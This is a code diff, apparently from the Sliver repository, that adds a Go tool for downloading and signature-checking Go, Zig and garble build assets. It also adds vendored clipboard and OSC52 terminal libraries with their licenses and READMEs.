url: fmt.Sprintf("https://github.com/moloch--/garble/releases/download/v%s/garble_linux-arm64", garbleVersion),
},
{
os: "windows",
arch: "amd64",
filename: "garble.exe",
url: fmt.Sprintf("https://github.com/moloch--/garble/releases/download/v%s/garble_windows-amd64.exe", garbleVersion),
},
{
os: "darwin",
arch: "amd64",
filename: "garble",
url: fmt.Sprintf("https://github.com/moloch--/garble/releases/download/v%s/garble_darwin-amd64", garbleVersion),
},
{
os: "darwin",
arch: "arm64",
filename: "garble",
url: fmt.Sprintf("https://github.com/moloch--/garble/releases/download/v%s/garble_darwin-arm64", garbleVersion),
},
}
for _, platform := range platforms {
r.garbleIndex++
r.logger.Logf("Fetch garble %s/%s (%d/%d)", platform.os, platform.arch, r.garbleIndex, garbleTotal)
outputDir := filepath.Join(r.outputDir, platform.os, platform.arch)
if err := ensureDir(outputDir); err != nil {
return err
}
destPath := filepath.Join(outputDir, platform.filename)
if err := r.downloadFile(platform.url, destPath); err != nil {
return err
}
}
return nil
}
+157
View File
@@ -0,0 +1,157 @@
package assets
import (
"fmt"
"os"
"path/filepath"
)
type goPlatform struct {
os string
arch string
archiveExt string
includeSrc bool
toolRemoves []string
}
func (r *runner) buildGoAssets() error {
r.logger.Section("Go")
platforms := []goPlatform{
{
os: "darwin",
arch: "amd64",
archiveExt: "tar.gz",
includeSrc: true,
toolRemoves: []string{
"pkg/tool/darwin_amd64/doc",
"pkg/tool/darwin_amd64/tour",
"pkg/tool/darwin_amd64/test2json",
},
},
{
os: "darwin",
arch: "arm64",
archiveExt: "tar.gz",
includeSrc: true,
toolRemoves: []string{
"pkg/tool/darwin_arm64/doc",
"pkg/tool/darwin_arm64/tour",
"pkg/tool/darwin_arm64/test2json",
},
},
{
os: "linux",
arch: "amd64",
archiveExt: "tar.gz",
toolRemoves: []string{
"pkg/tool/linux_amd64/doc",
"pkg/tool/linux_amd64/tour",
"pkg/tool/linux_amd64/test2json",
},
},
{
os: "linux",
arch: "arm64",
archiveExt: "tar.gz",
toolRemoves: []string{
"pkg/tool/linux_arm64/doc",
"pkg/tool/linux_arm64/tour",
"pkg/tool/linux_arm64/test2json",
},
},
{
os: "windows",
arch: "amd64",
archiveExt: "zip",
toolRemoves: []string{
"pkg/tool/windows_amd64/doc.exe",
"pkg/tool/windows_amd64/tour.exe",
"pkg/tool/windows_amd64/test2json.exe",
},
},
}
for _, platform := range platforms {
label := fmt.Sprintf("%s/%s", platform.os, platform.arch)
r.goIndex++
r.logger.Logf("Fetch go %s (%d/%d)", label, r.goIndex, goTotal)
archiveName := fmt.Sprintf("go%s.%s-%s.%s", goVersion, platform.os, platform.arch, platform.archiveExt)
archiveURL := fmt.Sprintf("https://dl.google.com/go/%s", archiveName)
archivePath := filepath.Join(r.workDir, archiveName)
if err := r.downloadFile(archiveURL, archivePath); err != nil {
return err
}
r.logger.Logf("Extract go %s", label)
goDir := filepath.Join(r.workDir, "go")
if err := os.RemoveAll(goDir); err != nil {
return fmt.Errorf("remove previous go dir: %w", err)
}
if platform.archiveExt == "zip" {
if err := extractZip(archivePath, r.workDir); err != nil {
return err
}
} else {
if err := extractTarGz(archivePath, r.workDir); err != nil {
return err
}
}
if err := removePaths(goDir, goBloatPaths); err != nil {
return err
}
if platform.includeSrc {
r.logger.Logf("Pack src.zip (%s)", label)
srcZipPath := filepath.Join(r.outputDir, "src.zip")
if err := zipDir(goDir, "src", srcZipPath); err != nil {
return err
}
}
if err := os.RemoveAll(filepath.Join(goDir, "src")); err != nil {
return fmt.Errorf("remove src dir: %w", err)
}
if err := removePaths(goDir, platform.toolRemoves); err != nil {
return err
}
r.logger.Logf("Pack go.zip (%s)", label)
outputDir := filepath.Join(r.outputDir, platform.os, platform.arch)
if err := ensureDir(outputDir); err != nil {
return err
}
destZip := filepath.Join(outputDir, "go.zip")
if err := zipDir(r.workDir, "go", destZip); err != nil {
return err
}
if err := os.RemoveAll(goDir); err != nil {
return fmt.Errorf("remove go dir: %w", err)
}
if err := os.Remove(archivePath); err != nil {
return fmt.Errorf("remove go archive: %w", err)
}
}
return nil
}
func removePaths(root string, paths []string) error {
for _, path := range paths {
path = trimLeadingDot(path)
if path == "" {
continue
}
full := filepath.Join(root, path)
if err := os.RemoveAll(full); err != nil {
return fmt.Errorf("remove %s: %w", full, err)
}
}
return nil
}
+190
View File
@@ -0,0 +1,190 @@
package assets
import (
"context"
"fmt"
"io"
"os"
"strings"
huhspinner "github.com/charmbracelet/huh/spinner"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
type styles struct {
title lipgloss.Style
section lipgloss.Style
tag lipgloss.Style
key lipgloss.Style
success lipgloss.Style
warn lipgloss.Style
error lipgloss.Style
muted lipgloss.Style
spinner lipgloss.Style
}
type logger struct {
verbose bool
quiet bool
out io.Writer
err io.Writer
styles styles
spinnerEnabled bool
section string
sectionCount int
}
func newLogger(verbose, quiet, noColor bool) *logger {
out := os.Stdout
err := os.Stderr
var styled styles
if noColor {
styled = styles{
title: lipgloss.NewStyle(),
section: lipgloss.NewStyle(),
tag: lipgloss.NewStyle(),
key: lipgloss.NewStyle(),
success: lipgloss.NewStyle(),
warn: lipgloss.NewStyle(),
error: lipgloss.NewStyle(),
muted: lipgloss.NewStyle(),
spinner: lipgloss.NewStyle(),
}
} else {
styled = styles{
title: lipgloss.NewStyle().Bold(true).Foreground(lipgloss.Color("81")),
section: lipgloss.NewStyle().Bold(true).Foreground(lipgloss.Color("75")),
tag: lipgloss.NewStyle().Foreground(lipgloss.Color("69")),
key: lipgloss.NewStyle().Foreground(lipgloss.Color("242")),
success: lipgloss.NewStyle().Foreground(lipgloss.Color("82")),
warn: lipgloss.NewStyle().Foreground(lipgloss.Color("214")),
error: lipgloss.NewStyle().Foreground(lipgloss.Color("203")),
muted: lipgloss.NewStyle().Foreground(lipgloss.Color("242")),
spinner: lipgloss.NewStyle().Foreground(lipgloss.Color("69")),
}
}
return &logger{
verbose: verbose,
quiet: quiet,
out: out,
err: err,
styles: styled,
spinnerEnabled: !verbose && !quiet && isTerminal(out),
}
}
func (l *logger) Header(title string) {
if l.quiet {
return
}
fmt.Fprintln(l.out, l.styles.title.Render(title))
}
func (l *logger) Meta(key, value string) {
if l.quiet {
return
}
label := l.styles.key.Render(fmt.Sprintf("%s:", strings.ToLower(key)))
fmt.Fprintf(l.out, "%s %s\n", label, value)
}
func (l *logger) Section(title string) {
l.section = strings.ToLower(title)
if l.quiet {
return
}
if l.sectionCount > 0 {
fmt.Fprintln(l.out)
}
l.sectionCount++
fmt.Fprintln(l.out, l.styles.section.Render(title))
}
func (l *logger) ClearSection() {
l.section = ""
}
func (l *logger) Logf(format string, args ...any) {
if l.quiet {
return
}
msg := fmt.Sprintf(format, args...)
if msg == "" {
fmt.Fprintln(l.out)
return
}
fmt.Fprintln(l.out, l.withPrefix(msg))
}
func (l *logger) VLogf(format string, args ...any) {
if l.quiet || !l.verbose {
return
}
msg := fmt.Sprintf(format, args...)
fmt.Fprintln(l.out, l.withPrefix(l.styles.muted.Render(msg)))
}
func (l *logger) Successf(format string, args ...any) {
if l.quiet {
return
}
msg := fmt.Sprintf(format, args...)
fmt.Fprintln(l.out, l.withPrefix(l.styles.success.Render(msg)))
}
func (l *logger) Warnf(format string, args ...any) {
if l.quiet {
return
}
msg := fmt.Sprintf(format, args...)
fmt.Fprintln(l.out, l.withPrefix(l.styles.warn.Render(msg)))
}
func (l *logger) Errorf(format string, args ...any) {
msg := fmt.Sprintf(format, args...)
fmt.Fprintln(l.err, l.withPrefix(l.styles.error.Render(msg)))
}
func (l *logger) RunSpinner(label string, action func() error) error {
if l.quiet || !l.spinnerEnabled {
return action()
}
spin := huhspinner.New().
Type(huhspinner.Pulse).
Title(label).
TitleStyle(l.styles.muted).
Style(l.styles.spinner).
Output(l.out).
ActionWithErr(func(context.Context) error {
return action()
})
return spin.Run()
}
func (l *logger) withPrefix(msg string) string {
prefix := l.prefix()
if prefix == "" {
return msg
}
return prefix + " " + msg
}
func (l *logger) prefix() string {
if l.section == "" {
return ""
}
return l.styles.tag.Render("[" + l.section + "]")
}
func isTerminal(w io.Writer) bool {
file, ok := w.(*os.File)
if !ok {
return false
}
return term.IsTerminal(int(file.Fd()))
}
+244
View File
@@ -0,0 +1,244 @@
package assets
import (
"bufio"
"errors"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"time"
insecureRand "math/rand"
minisign "github.com/bishopfox/sliver/util/minisign"
)
type zigPlatform struct {
os string
arch string
remoteName string
localName string
}
func (r *runner) buildZigAssets() error {
r.logger.Section("Zig")
if err := r.loadZigMirrors(); err != nil {
return err
}
platforms := []zigPlatform{
{os: "darwin", arch: "amd64", remoteName: fmt.Sprintf("zig-x86_64-macos-%s.tar.xz", zigVersion), localName: "zig.tar.xz"},
{os: "darwin", arch: "arm64", remoteName: fmt.Sprintf("zig-aarch64-macos-%s.tar.xz", zigVersion), localName: "zig.tar.xz"},
{os: "linux", arch: "amd64", remoteName: fmt.Sprintf("zig-x86_64-linux-%s.tar.xz", zigVersion), localName: "zig.tar.xz"},
{os: "linux", arch: "arm64", remoteName: fmt.Sprintf("zig-aarch64-linux-%s.tar.xz", zigVersion), localName: "zig.tar.xz"},
{os: "windows", arch: "amd64", remoteName: fmt.Sprintf("zig-x86_64-windows-%s.zip", zigVersion), localName: "zig.zip"},
}
for _, platform := range platforms {
if err := r.downloadZig(platform); err != nil {
return err
}
}
return nil
}
func (r *runner) loadZigMirrors() error {
if len(r.zigMirrors) > 0 {
return nil
}
client := *r.httpClient
client.Timeout = 30 * time.Second
resp, err := client.Get("https://ziglang.org/download/community-mirrors.txt")
if err == nil && resp != nil {
defer resp.Body.Close()
if resp.StatusCode >= http.StatusOK && resp.StatusCode < http.StatusMultipleChoices {
mirrors, err := parseZigMirrors(resp.Body)
if err == nil && len(mirrors) > 0 {
r.zigMirrors = mirrors
return nil
}
}
}
r.zigMirrors = append([]string{}, defaultZigMirrors...)
return nil
}
func parseZigMirrors(reader io.Reader) ([]string, error) {
scanner := bufio.NewScanner(reader)
mirrors := []string{}
for scanner.Scan() {
line := scanner.Text()
if idx := strings.IndexRune(line, '#'); idx >= 0 {
line = line[:idx]
}
line = strings.TrimSpace(line)
if line == "" {
continue
}
mirrors = append(mirrors, line)
}
if err := scanner.Err(); err != nil {
return nil, err
}
return mirrors, nil
}
func (r *runner) downloadZig(platform zigPlatform) error {
outputDir := filepath.Join(r.outputDir, platform.os, platform.arch)
if err := ensureDir(outputDir); err != nil {
return err
}
destPath := filepath.Join(outputDir, platform.localName)
if err := os.RemoveAll(destPath); err != nil {
return fmt.Errorf("remove existing zig file: %w", err)
}
r.zigIndex++
mirrors := r.randomizedMirrors()
for idx, mirror := range mirrors {
mirrorBase := strings.TrimRight(mirror, "/") + "/" + zigVersion
artifactURL := appendQueryParam(mirrorBase+"/"+platform.remoteName, zigSourceParam)
signatureURL := appendQueryParam(mirrorBase+"/"+platform.remoteName+".minisig", zigSourceParam)
r.logger.Logf("Fetch zig %s/%s (%d/%d) via %s", platform.os, platform.arch, r.zigIndex, zigTotal, mirrorBase)
r.logger.VLogf(" artifact: %s", artifactURL)
r.logger.VLogf(" signature: %s", signatureURL)
artifactPath, err := r.downloadToTemp(artifactURL, r.workDir)
if err != nil {
r.logger.Errorf("Failed to download Zig artifact from %s", artifactURL)
if idx < len(mirrors)-1 {
r.logger.Warnf("Trying alternate mirror")
}
continue
}
signaturePath, err := r.downloadToTemp(signatureURL, r.workDir)
if err != nil {
os.Remove(artifactPath)
r.logger.Errorf("Failed to download Zig signature from %s", signatureURL)
if idx < len(mirrors)-1 {
r.logger.Warnf("Trying alternate mirror")
}
continue
}
if err := verifyZigSignature(artifactPath, signaturePath, platform.remoteName); err != nil {
r.logger.Errorf("Signature verification failed for %s from %s", platform.remoteName, mirrorBase)
r.logger.Errorf("Deleting corrupted download %s", artifactPath)
os.Remove(artifactPath)
os.Remove(signaturePath)
if idx < len(mirrors)-1 {
r.logger.Warnf("Trying alternate mirror")
}
continue
}
if err := moveFile(artifactPath, destPath); err != nil {
os.Remove(artifactPath)
os.Remove(signaturePath)
return err
}
os.Remove(signaturePath)
r.logger.Successf("Verified zig package -> %s", destPath)
return nil
}
return fmt.Errorf("unable to download and verify Zig package %s", platform.remoteName)
}
func (r *runner) randomizedMirrors() []string {
mirrors := append([]string{}, r.zigMirrors...)
if len(mirrors) == 0 {
return mirrors
}
insecureRand.Shuffle(len(mirrors), func(i, j int) {
mirrors[i], mirrors[j] = mirrors[j], mirrors[i]
})
return mirrors
}
func appendQueryParam(url, param string) string {
if strings.Contains(url, "?") {
return url + "&" + param
}
return url + "?" + param
}
func verifyZigSignature(artifactPath, signaturePath, expectedFile string) error {
sigData, err := os.ReadFile(signaturePath)
if err != nil {
return fmt.Errorf("read signature: %w", err)
}
pubKey, err := loadZigPublicKey()
if err != nil {
return err
}
artifact, err := os.Open(artifactPath)
if err != nil {
return fmt.Errorf("open artifact: %w", err)
}
defer artifact.Close()
reader := minisign.NewReader(artifact)
if _, err := io.Copy(io.Discard, reader); err != nil {
return fmt.Errorf("stream artifact: %w", err)
}
if !reader.Verify(pubKey, sigData) {
return errors.New("signature verification failed")
}
if err := verifyTrustedComment(sigData, expectedFile); err != nil {
return err
}
return nil
}
func loadZigPublicKey() (minisign.PublicKey, error) {
key := os.Getenv("ZIG_PUBLIC_KEY")
if key == "" {
key = zigMinisignPublicKey
}
var publicKey minisign.PublicKey
if err := publicKey.UnmarshalText([]byte(key)); err != nil {
return minisign.PublicKey{}, fmt.Errorf("invalid minisign public key: %w", err)
}
return publicKey, nil
}
func verifyTrustedComment(signature []byte, expectedFile string) error {
var sig minisign.Signature
if err := sig.UnmarshalText(signature); err != nil {
return fmt.Errorf("parse signature: %w", err)
}
fileField := trustedCommentFile(sig.TrustedComment)
if fileField == "" {
return fmt.Errorf("trusted comment missing file field: %q", sig.TrustedComment)
}
if fileField != expectedFile {
return fmt.Errorf("trusted comment file mismatch: expected %q, got %q", expectedFile, fileField)
}
return nil
}
func trustedCommentFile(trustedComment string) string {
for _, field := range strings.Fields(trustedComment) {
if after, ok := strings.CutPrefix(field, "file:"); ok {
return after
}
}
return ""
}
+15
View File
@@ -0,0 +1,15 @@
package main
import (
"fmt"
"os"
"github.com/bishopfox/sliver/util/assets"
)
func main() {
if err := assets.Run(os.Args[1:]); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
-99
View File
@@ -1,99 +0,0 @@
// Command zigverify validates a Zig archive against a minisign signature.
package main
import (
"errors"
"fmt"
"io"
"os"
"strings"
minisign "github.com/bishopfox/sliver/util/minisign"
)
const defaultZigPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
func loadPublicKey() (minisign.PublicKey, error) {
key := os.Getenv("ZIG_PUBLIC_KEY")
if key == "" {
key = defaultZigPublicKey
}
var publicKey minisign.PublicKey
if err := publicKey.UnmarshalText([]byte(key)); err != nil {
return minisign.PublicKey{}, fmt.Errorf("invalid minisign public key: %w", err)
}
return publicKey, nil
}
func verifySignature(artifactPath, signaturePath, expectedFile string) error {
artifact, err := os.Open(artifactPath)
if err != nil {
return fmt.Errorf("open artifact: %w", err)
}
defer artifact.Close()
sigData, err := os.ReadFile(signaturePath)
if err != nil {
return fmt.Errorf("read signature: %w", err)
}
pubKey, err := loadPublicKey()
if err != nil {
return err
}
reader := minisign.NewReader(artifact)
if _, err := io.Copy(io.Discard, reader); err != nil {
return fmt.Errorf("stream artifact: %w", err)
}
if !reader.Verify(pubKey, sigData) {
return errors.New("signature verification failed")
}
if err := verifyTrustedComment(sigData, expectedFile); err != nil {
return err
}
return nil
}
func verifyTrustedComment(signature []byte, expectedFile string) error {
var sig minisign.Signature
if err := sig.UnmarshalText(signature); err != nil {
return fmt.Errorf("parse signature: %w", err)
}
fileField := trustedCommentFile(sig.TrustedComment)
if fileField == "" {
return fmt.Errorf("trusted comment missing file field: %q", sig.TrustedComment)
}
if fileField != expectedFile {
return fmt.Errorf("trusted comment file mismatch: expected %q, got %q", expectedFile, fileField)
}
return nil
}
func trustedCommentFile(trustedComment string) string {
for field := range strings.FieldsSeq(trustedComment) {
if after, ok := strings.CutPrefix(field, "file:"); ok {
return after
}
}
return ""
}
func main() {
if len(os.Args) != 4 {
fmt.Fprintf(os.Stderr, "usage: %s <artifact-path> <signature-path> <expected-filename>\n", os.Args[0])
os.Exit(1)
}
if err := verifySignature(os.Args[1], os.Args[2], os.Args[3]); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
+22
View File
@@ -0,0 +1,22 @@
language: go
os:
- linux
- osx
- windows
go:
- go1.13.x
- go1.x
services:
- xvfb
before_install:
- export DISPLAY=:99.0
script:
- if [ "$TRAVIS_OS_NAME" = "linux" ]; then sudo apt-get install xsel; fi
- go test -v .
- if [ "$TRAVIS_OS_NAME" = "linux" ]; then sudo apt-get install xclip; fi
- go test -v .
+27
View File
@@ -0,0 +1,27 @@
Copyright (c) 2013 Ato Araki. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of @atotto. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+48
View File
@@ -0,0 +1,48 @@
[![Build Status](https://travis-ci.org/atotto/clipboard.svg?branch=master)](https://travis-ci.org/atotto/clipboard)
[![GoDoc](https://godoc.org/github.com/atotto/clipboard?status.svg)](http://godoc.org/github.com/atotto/clipboard)
# Clipboard for Go
Provide copying and pasting to the Clipboard for Go.
Build:
$ go get github.com/atotto/clipboard
Platforms:
* OSX
* Windows 7 (probably work on other Windows)
* Linux, Unix (requires 'xclip' or 'xsel' command to be installed)
Document:
* http://godoc.org/github.com/atotto/clipboard
Notes:
* Text string only
* UTF-8 text encoding only (no conversion)
TODO:
* Clipboard watcher(?)
## Commands:
paste shell command:
$ go get github.com/atotto/clipboard/cmd/gopaste
$ # example:
$ gopaste > document.txt
copy shell command:
$ go get github.com/atotto/clipboard/cmd/gocopy
$ # example:
$ cat document.txt | gocopy
+20
View File
@@ -0,0 +1,20 @@
// Copyright 2013 @atotto. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package clipboard read/write on clipboard
package clipboard
// ReadAll read string from clipboard
func ReadAll() (string, error) {
return readAll()
}
// WriteAll write string to clipboard
func WriteAll(text string) error {
return writeAll(text)
}
// Unsupported might be set true during clipboard init, to help callers decide
// whether or not to offer clipboard options.
var Unsupported bool
+52
View File
@@ -0,0 +1,52 @@
// Copyright 2013 @atotto. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin
package clipboard
import (
"os/exec"
)
var (
pasteCmdArgs = "pbpaste"
copyCmdArgs = "pbcopy"
)
func getPasteCommand() *exec.Cmd {
return exec.Command(pasteCmdArgs)
}
func getCopyCommand() *exec.Cmd {
return exec.Command(copyCmdArgs)
}
func readAll() (string, error) {
pasteCmd := getPasteCommand()
out, err := pasteCmd.Output()
if err != nil {
return "", err
}
return string(out), nil
}
func writeAll(text string) error {
copyCmd := getCopyCommand()
in, err := copyCmd.StdinPipe()
if err != nil {
return err
}
if err := copyCmd.Start(); err != nil {
return err
}
if _, err := in.Write([]byte(text)); err != nil {
return err
}
if err := in.Close(); err != nil {
return err
}
return copyCmd.Wait()
}
+42
View File
@@ -0,0 +1,42 @@
// Copyright 2013 @atotto. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build plan9
package clipboard
import (
"os"
"io/ioutil"
)
func readAll() (string, error) {
f, err := os.Open("/dev/snarf")
if err != nil {
return "", err
}
defer f.Close()
str, err := ioutil.ReadAll(f)
if err != nil {
return "", err
}
return string(str), nil
}
func writeAll(text string) error {
f, err := os.OpenFile("/dev/snarf", os.O_WRONLY, 0666)
if err != nil {
return err
}
defer f.Close()
_, err = f.Write([]byte(text))
if err != nil {
return err
}
return nil
}
+149
View File
@@ -0,0 +1,149 @@
// Copyright 2013 @atotto. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build freebsd linux netbsd openbsd solaris dragonfly
package clipboard
import (
"errors"
"os"
"os/exec"
)
const (
xsel = "xsel"
xclip = "xclip"
powershellExe = "powershell.exe"
clipExe = "clip.exe"
wlcopy = "wl-copy"
wlpaste = "wl-paste"
termuxClipboardGet = "termux-clipboard-get"
termuxClipboardSet = "termux-clipboard-set"
)
var (
Primary bool
trimDos bool
pasteCmdArgs []string
copyCmdArgs []string
xselPasteArgs = []string{xsel, "--output", "--clipboard"}
xselCopyArgs = []string{xsel, "--input", "--clipboard"}
xclipPasteArgs = []string{xclip, "-out", "-selection", "clipboard"}
xclipCopyArgs = []string{xclip, "-in", "-selection", "clipboard"}
powershellExePasteArgs = []string{powershellExe, "Get-Clipboard"}
clipExeCopyArgs = []string{clipExe}
wlpasteArgs = []string{wlpaste, "--no-newline"}
wlcopyArgs = []string{wlcopy}
termuxPasteArgs = []string{termuxClipboardGet}
termuxCopyArgs = []string{termuxClipboardSet}
missingCommands = errors.New("No clipboard utilities available. Please install xsel, xclip, wl-clipboard or Termux:API add-on for termux-clipboard-get/set.")
)
func init() {
if os.Getenv("WAYLAND_DISPLAY") != "" {
pasteCmdArgs = wlpasteArgs
copyCmdArgs = wlcopyArgs
if _, err := exec.LookPath(wlcopy); err == nil {
if _, err := exec.LookPath(wlpaste); err == nil {
return
}
}
}
pasteCmdArgs = xclipPasteArgs
copyCmdArgs = xclipCopyArgs
if _, err := exec.LookPath(xclip); err == nil {
return
}
pasteCmdArgs = xselPasteArgs
copyCmdArgs = xselCopyArgs
if _, err := exec.LookPath(xsel); err == nil {
return
}
pasteCmdArgs = termuxPasteArgs
copyCmdArgs = termuxCopyArgs
if _, err := exec.LookPath(termuxClipboardSet); err == nil {
if _, err := exec.LookPath(termuxClipboardGet); err == nil {
return
}
}
pasteCmdArgs = powershellExePasteArgs
copyCmdArgs = clipExeCopyArgs
trimDos = true
if _, err := exec.LookPath(clipExe); err == nil {
if _, err := exec.LookPath(powershellExe); err == nil {
return
}
}
Unsupported = true
}
func getPasteCommand() *exec.Cmd {
if Primary {
pasteCmdArgs = pasteCmdArgs[:1]
}
return exec.Command(pasteCmdArgs[0], pasteCmdArgs[1:]...)
}
func getCopyCommand() *exec.Cmd {
if Primary {
copyCmdArgs = copyCmdArgs[:1]
}
return exec.Command(copyCmdArgs[0], copyCmdArgs[1:]...)
}
func readAll() (string, error) {
if Unsupported {
return "", missingCommands
}
pasteCmd := getPasteCommand()
out, err := pasteCmd.Output()
if err != nil {
return "", err
}
result := string(out)
if trimDos && len(result) > 1 {
result = result[:len(result)-2]
}
return result, nil
}
func writeAll(text string) error {
if Unsupported {
return missingCommands
}
copyCmd := getCopyCommand()
in, err := copyCmd.StdinPipe()
if err != nil {
return err
}
if err := copyCmd.Start(); err != nil {
return err
}
if _, err := in.Write([]byte(text)); err != nil {
return err
}
if err := in.Close(); err != nil {
return err
}
return copyCmd.Wait()
}
+157
View File
@@ -0,0 +1,157 @@
// Copyright 2013 @atotto. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
package clipboard
import (
"runtime"
"syscall"
"time"
"unsafe"
)
const (
cfUnicodetext = 13
gmemMoveable = 0x0002
)
var (
user32 = syscall.MustLoadDLL("user32")
isClipboardFormatAvailable = user32.MustFindProc("IsClipboardFormatAvailable")
openClipboard = user32.MustFindProc("OpenClipboard")
closeClipboard = user32.MustFindProc("CloseClipboard")
emptyClipboard = user32.MustFindProc("EmptyClipboard")
getClipboardData = user32.MustFindProc("GetClipboardData")
setClipboardData = user32.MustFindProc("SetClipboardData")
kernel32 = syscall.NewLazyDLL("kernel32")
globalAlloc = kernel32.NewProc("GlobalAlloc")
globalFree = kernel32.NewProc("GlobalFree")
globalLock = kernel32.NewProc("GlobalLock")
globalUnlock = kernel32.NewProc("GlobalUnlock")
lstrcpy = kernel32.NewProc("lstrcpyW")
)
// waitOpenClipboard opens the clipboard, waiting for up to a second to do so.
func waitOpenClipboard() error {
started := time.Now()
limit := started.Add(time.Second)
var r uintptr
var err error
for time.Now().Before(limit) {
r, _, err = openClipboard.Call(0)
if r != 0 {
return nil
}
time.Sleep(time.Millisecond)
}
return err
}
func readAll() (string, error) {
// LockOSThread ensure that the whole method will keep executing on the same thread from begin to end (it actually locks the goroutine thread attribution).
// Otherwise if the goroutine switch thread during execution (which is a common practice), the OpenClipboard and CloseClipboard will happen on two different threads, and it will result in a clipboard deadlock.
runtime.LockOSThread()
defer runtime.UnlockOSThread()
if formatAvailable, _, err := isClipboardFormatAvailable.Call(cfUnicodetext); formatAvailable == 0 {
return "", err
}
err := waitOpenClipboard()
if err != nil {
return "", err
}
h, _, err := getClipboardData.Call(cfUnicodetext)
if h == 0 {
_, _, _ = closeClipboard.Call()
return "", err
}
l, _, err := globalLock.Call(h)
if l == 0 {
_, _, _ = closeClipboard.Call()
return "", err
}
text := syscall.UTF16ToString((*[1 << 20]uint16)(unsafe.Pointer(l))[:])
r, _, err := globalUnlock.Call(h)
if r == 0 {
_, _, _ = closeClipboard.Call()
return "", err
}
closed, _, err := closeClipboard.Call()
if closed == 0 {
return "", err
}
return text, nil
}
func writeAll(text string) error {
// LockOSThread ensure that the whole method will keep executing on the same thread from begin to end (it actually locks the goroutine thread attribution).
// Otherwise if the goroutine switch thread during execution (which is a common practice), the OpenClipboard and CloseClipboard will happen on two different threads, and it will result in a clipboard deadlock.
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := waitOpenClipboard()
if err != nil {
return err
}
r, _, err := emptyClipboard.Call(0)
if r == 0 {
_, _, _ = closeClipboard.Call()
return err
}
data := syscall.StringToUTF16(text)
// "If the hMem parameter identifies a memory object, the object must have
// been allocated using the function with the GMEM_MOVEABLE flag."
h, _, err := globalAlloc.Call(gmemMoveable, uintptr(len(data)*int(unsafe.Sizeof(data[0]))))
if h == 0 {
_, _, _ = closeClipboard.Call()
return err
}
defer func() {
if h != 0 {
globalFree.Call(h)
}
}()
l, _, err := globalLock.Call(h)
if l == 0 {
_, _, _ = closeClipboard.Call()
return err
}
r, _, err = lstrcpy.Call(l, uintptr(unsafe.Pointer(&data[0])))
if r == 0 {
_, _, _ = closeClipboard.Call()
return err
}
r, _, err = globalUnlock.Call(h)
if r == 0 {
if err.(syscall.Errno) != 0 {
_, _, _ = closeClipboard.Call()
return err
}
}
r, _, err = setClipboardData.Call(cfUnicodetext, h)
if r == 0 {
_, _, _ = closeClipboard.Call()
return err
}
h = 0 // suppress deferred cleanup
closed, _, err := closeClipboard.Call()
if closed == 0 {
return err
}
return nil
}
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 Ayman Bagabas
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+83
View File
@@ -0,0 +1,83 @@
# go-osc52
<p>
<a href="https://github.com/aymanbagabas/go-osc52/releases"><img src="https://img.shields.io/github/release/aymanbagabas/go-osc52.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/github.com/aymanbagabas/go-osc52/v2?tab=doc"><img src="https://godoc.org/github.com/golang/gddo?status.svg" alt="GoDoc"></a>
</p>
A Go library to work with the [ANSI OSC52](https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Operating-System-Commands) terminal sequence.
## Usage
You can use this small library to construct an ANSI OSC52 sequence suitable for
your terminal.
### Example
```go
import (
"os"
"fmt"
